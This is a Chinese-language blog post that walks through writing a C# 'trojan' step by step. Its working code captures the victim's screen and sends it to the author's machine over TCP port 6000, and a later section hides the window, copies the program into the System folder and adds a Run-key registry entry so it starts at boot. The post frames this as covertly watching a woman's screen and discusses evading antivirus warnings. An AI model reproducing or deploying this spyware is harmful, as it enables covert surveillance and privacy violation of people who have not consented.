用c#来写个木马程序吧

这可能是菜鸟程序员最喜欢搞的事了哈,并且乐此不彼O(∩_∩)O哈!
最开始本来只是想写段远程传文件的代码 写着写着我就突发奇想 想把别人电脑的截屏传过来,是不是很邪恶 嘿嘿
倒腾了一阵原来还是挺简单的 并且速度好像还挺快。 在这里我就不谈socket编程的基本了哈 直奔主题

 

我们要实现的功能是:在我有需要的时候就把受害人电脑的截屏数据传到我电脑上
简单分析一下 参见灰鸽子 啊那啥的常见木马程序我们就知道主动传数据的一方 也就是server程序是放在受害人电脑上的 client程序是放在我电脑上的
什么叫有需要呢 就是我主动去连server端。
server端一检测到有连接就把数据发过来然后断开连接 一检测到有连接就把数据发过来然后断开连接 明白了吧 就是这么简单(¯▽¯;)
好 开工

 

1服务端编程

首先截屏的代码 四句 网上到处都有:

Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);

g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);

 数据有了然后就是发送了 也就是最常见的IO操作 ,把从本地文件读到的数据不停的写到网络流中:

//准备本地数据进行写入网络
FileStream fs = File.OpenRead("Capture.gif");

//写入消息头 文件长度,客户端根据此长度进行读取
writer.Write(fs.Length);
writer.Flush();

//本地文件缓冲区
byte[] data = new byte[10];
int reds;

int total = 0;

//写入的过程:
//先从本地文件读到缓冲区中,然后把缓冲区的字节数写入网络 
//直到网络写入成功后 再读取足够的字节数到本地文件缓冲区 
//如此往复直到整个文件全部传输出去
while ((reds = fs.Read(data, 0, data.Length)) > 0)
{
    writer.Write(data, 0, reds);
    total += reds;
}
fs.Close();
//如果没有进行close操作 tcp端口缓存的字节可能不会立即被发往客户端 
//所以这个是必须的
writer.Flush();

 好了服务端就这样了Ok 但是为了符合面向对象编程的原则 我们依然用对象的方式把“受害的过程”进行了一个包装
新建一个实例代表一次“受害” 新建一个实例代表一次“受害”   这样更便于理解。
请自己把上边抓屏以及往网络流写数据的代码粘到下边的send方法里:

//客户端线程
class ServerToClient
{
    TcpClient clientSocket;
    BinaryWriter writer;
    public ServerToClient(TcpClient client)
    {
        clientSocket = client;
        NetworkStream stream = clientSocket.GetStream();
        writer = new BinaryWriter(stream, Encoding.ASCII);
    }

    public void send()
    {
        
    }

    public void close()
    {
        writer.Close();
        clientSocket.Close();
    }
}

 “受害者”那端一开机程序就会自动运行  等待“有需要”的人过来 ,也就是偶啦 哇哈哈(¯▽¯;)   。 然后把自己截屏的数据给他  给完过后继续等待下一次被蹂躏。
下面是调用的代码:

static void Main(string[] args)
{
    TcpListener server = new TcpListener(6000);
    server.Start();

    while (true)
    {

        ServerToClient c = new ServerToClient(server.AcceptTcpClient());
        Console.WriteLine("新的连接");
        //防止传输过程中客户端掉线
        try
        {
            //c.send();
            c.sendAdvance();
            Console.WriteLine("发送完成");
            c.close();
        }
        catch (Exception ex)
        {
            Console.WriteLine("客户端已离线:" + ex.Message);
        }

    }
    server.Stop();
    Console.ReadKey();
}

 2客户端编程

客户端要做的事就很简单了: 请求连接->连上->传数据->关闭连接
连接的时候只需要提供server端ip和端口就可以了 这里我们依然封装一个Client类来进行这些所有的操作 在构造函数中进行连接服务器:

TcpClient client;
long fileLength;
BinaryReader reader;
byte[] data = new byte[8192];

//准备工作
public Client(IPAddress serverIp)
{
    int port = 6000;
    client = new TcpClient();
    client.Connect(serverIp, port);
    Console.WriteLine("连上了");
    NetworkStream stream = client.GetStream();
    reader = new BinaryReader(stream);
}

 其实重要的还是接收数据。 程序设计是一个严谨的东西 就跟泡妞是一种很严肃的社会活动一样 ,几个字节的误差就足以让连接中断 或者是图像显示不出来
我们在server端写数据的时候 writer.Write(fs.Length); 那么这是什么意思呢 把文件的大小值写入网络流的开始处。 让客户端在开始的时候就这道这个文件有多大
读到多少字节后就不应该读了。
fs.Length 是一个long型 那么long型到底是个神马意思呢 它代表Int64这个结构体 他占8个字节。就像这样的 0x00000000000000ff 
哥们儿你别担心不会有一个正常文件的长度会超过它的最大值的
在客户端我们读到的始终是连续或者不连续的字节码 我们得对他进行解码才知道server端传过来的文件到底有多大
关于二进制转十进制我专门写了一个函数:

//字节数组转长整型(二进制转十进制)
static long getNum(byte[] bytes)
{
    //int srcData = 312705998;
    //比如上面的int值在内存中是0x12a383ce 的形式存储的
    //但是他在文件中存储确是反过来的(低位在前 高位在后)
    //如果我一次读取4字节就是下面的形式
    //byte []data = {0xce,0x83,0xa3,0x12};

    long[] nums = { 1, 256, 65536, 16777216, 4294967296, 1099511627776, 281474976710656, 72057594037927936 };
    if (bytes.Length > nums.Length)
        throw new Exception("溢出");
    long num = 0;
    for (int i = 0; i < bytes.Length; i++)
        num += (bytes[i] * nums[i]);
    return num;
}

 下边是调用getNum获取数据长度以及 获取数据的过程:
注意他的工作过程,
首先会读取8个字节 这些所有的read操作都是调用的同步方法 就是说如果读不到8个字节 这个操作就会一直在那里挂起

(这篇随笔是以前写的 有错误 更正一下:"果读不到8个字节 这个操作就会一直在那里挂起" 
同步方法没错 但是准确的意思是 他会接收缓冲区的第一次数据 没有接收到不会继续执行 并不一定是8个字节 字节数要看服务端
也许网络环境也会引起少发 但是这种几率很小 因为TCP是一种保证数据完整性的协议 如果数据不完整 服务端会重新发送
具体读取了多少字节得看read()的返回值
但是因为有上面的概念所以我们不用担心读不到文件长度 也就是8个字节 也不用判断read()的返回值
这种概念有点“包”的意味吧 package ,对这种一次一次的数据的概念我们把他称之为“包”  处理粘包的问题是TCP编程里必须会的。
还有这种:
TcpClient client = new TcpClient();
client.Connect(@"localhost", 104);
NetworkStream stream = client.GetStream();
BinaryReader br = new BinaryReader(stream);
br.ReadString();
其实这种方式有很大的局限性
服务端必须用同样的方式写才行:
bw.Write("simple string")
)

得到数据长度过后 每read一次 就把读取到的字节数累加到reds变量中
如此往复 直到reds大于fileLength 退出循环
为了方便我们在这次传输完成后就直接把连接关闭了

//接收数据
public void recv()
{
    FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif");
    byte[] fileLengthSrc = new byte[8];

    try
    {
        reader.Read(fileLengthSrc, 0, 8);
        long fileLength = getNum(fileLengthSrc);

        long reds = 0;//已经读取字节数

        //开始传输
        while (reds < fileLength)
        {
            if (fileLength - reds > data.Length)
            {
                int red = reader.Read(data, 0, data.Length);
                if (red == 0)
                    break;
                fs.Write(data, 0, red);
                reds += red;
            }
            else if (fileLength - reds < data.Length && fileLength - reds > 0)
            {
                int red = reader.Read(data, 0, data.Length);
                if (red == 0)
                    break;
                fs.Write(data, 0, red);
                reds += red;
            }
            Thread.Sleep(10);
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
    }

    fs.Flush();
    fs.Close();
             
    reader.Close();
    client.Close();
}

 客户端调用过程:

static void Main(string[] args)
{
    IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1});
    if(args.Length>0)
    IPAddress.TryParse(args[0], out serverIp);

    Client c= new Client(serverIp);
    c.recv();

    Console.WriteLine("文件接收完成...");
    //Console.ReadKey();
}

客户端及服务端执行过程:

 

3后续

关于界面
为什么要做成没有界面的呢,有界面不是更好吗。首先我们只是要验证这一过程原理 有没有界面都界面都无所谓 如果你非要用鼠标点 你可以建个批处理
并且如果我要监视多台电脑 我还可以在批处理里这样写:

for /l %%a in (1,1,10) do socketdemo 192.168.0.%a

 命令行是多么的方便 为什么linux都是命令行优先 所以说要界面是非程序员的不靠谱的说法哈。

 

关于server端数据的发送
其实呢上边数据发送的代码跟大家罗里吧嗦了半天 只是跟大家说明数据发送的原理 ,
某些东西虽然看似简单其实内部它是经过了这些艰辛的过程的
实际上只要两句就完成数据发送 。丫的 现在才说  嘿嘿嘿  别打我吖 (;°○° )
ServerToClient类的send方法也可以是这样的 并且还省去了转存文件的过程直接写到网络流中:

public void sendAdvance()
{
    Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
    Graphics g = Graphics.FromImage(myImg);
   
    g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
    writer.Write(long.MaxValue);//不要怕 客户端只要read==0会自动break的
    
    myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);
    writer.BaseStream.Flush();
    
}

更加让你抓狂的:
你数数上边recv 接收数据的方法总共写了多少行代码 ,四十多行吧 看看四行代码是怎样实现同样功能的 对盖茨大叔大爱(‵▽′)
注意别忘了添加引用 项目上->右键->添加引用 System.Drawing
当然send方法里请把对应的 writer.Write(long.MaxValue); 去掉 以免读取数据时出错

//接收数据
public void recv()
{
    try
    {
        Image bmp = Bitmap.FromStream(reader.BaseStream);
        bmp.Save(DateTime.Now.Ticks + ".gif");
    }
    catch (Exception ex)
    {
        Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
    }
    reader.Close();
    client.Close();
}

 

关于socket的有些东西还有必要说下
int red = reader.Read(data, 0, data.Length);
1如果red==0 代表另一端是先发送数据然后通过正常的close方法断开连接的,所以red==0代表数据已经读完了 而不是什么异常
2如果一边已经正常关闭连接 代表数据已经完全缓存到目标机器上去了。如果一边非正常关闭连接(掉线)另一边进行read或write操作会提示连接异常
3任意一端的close方法只是关闭自己这边的连接 跟另一边没有任何关系也不会往另一边发数据确认 说“我已经关闭了” 只是发送的这些数据读完后 对方每次read都返回0
4一个socket代表一个连接到另一端的数据缓冲区 或许这样的说法更贴切

 

更符合“木马”的风格
就把上面那东东拿到人家MM的电脑上去运行监视人家的屏幕 纳尼?,运行个毛线啊 那么大的dos窗口 人家一下就给你关了
所以server程序我们还需要让他完成3个工作
1让他窗口消失,至少要在桌面上 任务栏上看不到 。让进程消失 那个属于windows底层的东西哈 本人还没那么高的功力 希望哪个高手教教俺啊
2自我复制
3添加到启动项 开机自动启动 嘿嘿
第一个简单 新建一个winform程序 并添加一个类 然后把上诉server端代码 拷过去 并在formLoad事件中调用 static_Void_Main里的代码
最重要的是把窗体的 showInTaskbar设置为false 让窗体启动时不在任务栏显示图标, 和windowsState设置为Minimized 让窗体启动时就是最小化状态

第二个也很简单通过System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;就可取到当前进程对应的可执行程序的目录
后面的自然明白了噻 嘿嘿嘿 嘿嘿
开机自动启动 通常往注册表的这个节点写值就ok了 Software\Microsoft\Windows\CurrentVersion\Run
注册表是一个大的树状结构的数据库 每个节点下可能有0到多个子节点 每个节点下有1到多个键值对 windows通过它来动态装配某些功能 就这样而已没什么神奇的
自我复制以及加开机启动代码:

void copyMyself()//
{
    RegistryKey hkml = Registry.LocalMachine;
    RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
    object value = software.GetValue("lovedrxiang");

    if (value!=null)
        return;

    string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
    string folder= Environment.GetFolderPath(Environment.SpecialFolder.System);
    string dest = folder+src.Substring(src.LastIndexOf(@"\"));

    if (!File.Exists(dest))
    {
        File.Copy(src, dest);
        software.SetValue("lovedrxiang", dest);
    }
}

 

这个其实完全就是一个正常合理合法的程序 压根儿就不是什么木马。360还有啥子管家啊 是一个让人蛋疼的东西 。并且对方不能开防火墙
稍有不对 比如文件名取成svchost 在windows目录拷东西啊 注册表操作啊 通通都会给用户弹个通红通红的大大的框框出来提示用户“你中木马了,建议立即删除”
可见360完全是面对电脑傻瓜用户的  也指不定360会从你电脑上拷啥子东西哗啦哗啦就传到他的服务器上去了 然后360的管理员就在那慢慢欣赏 嘿嘿。
既然是.net平台的那么必须得装.netFrameWork  (以后俺跟大家讲讲 .net平台的程序怎样打包到在没有安装.netFrameWork的机器上运行)
基于以上 这限制也太多了吧 所以得悄悄没人的时候搞(‵▽′)    以本程序没什么实质性的用途 纯粹博大家一笑
如果你跟对方MM很熟的话就另当别论了哈

最后是全部源码 猛击此处

最后还有想用传图像的方式做远控的童鞋 这个是相当困难滴哈 网上有这方面的文章 自己去发掘

posted @ 2012-02-18 19:00  assassinx  阅读(15491)  评论(45编辑  收藏  举报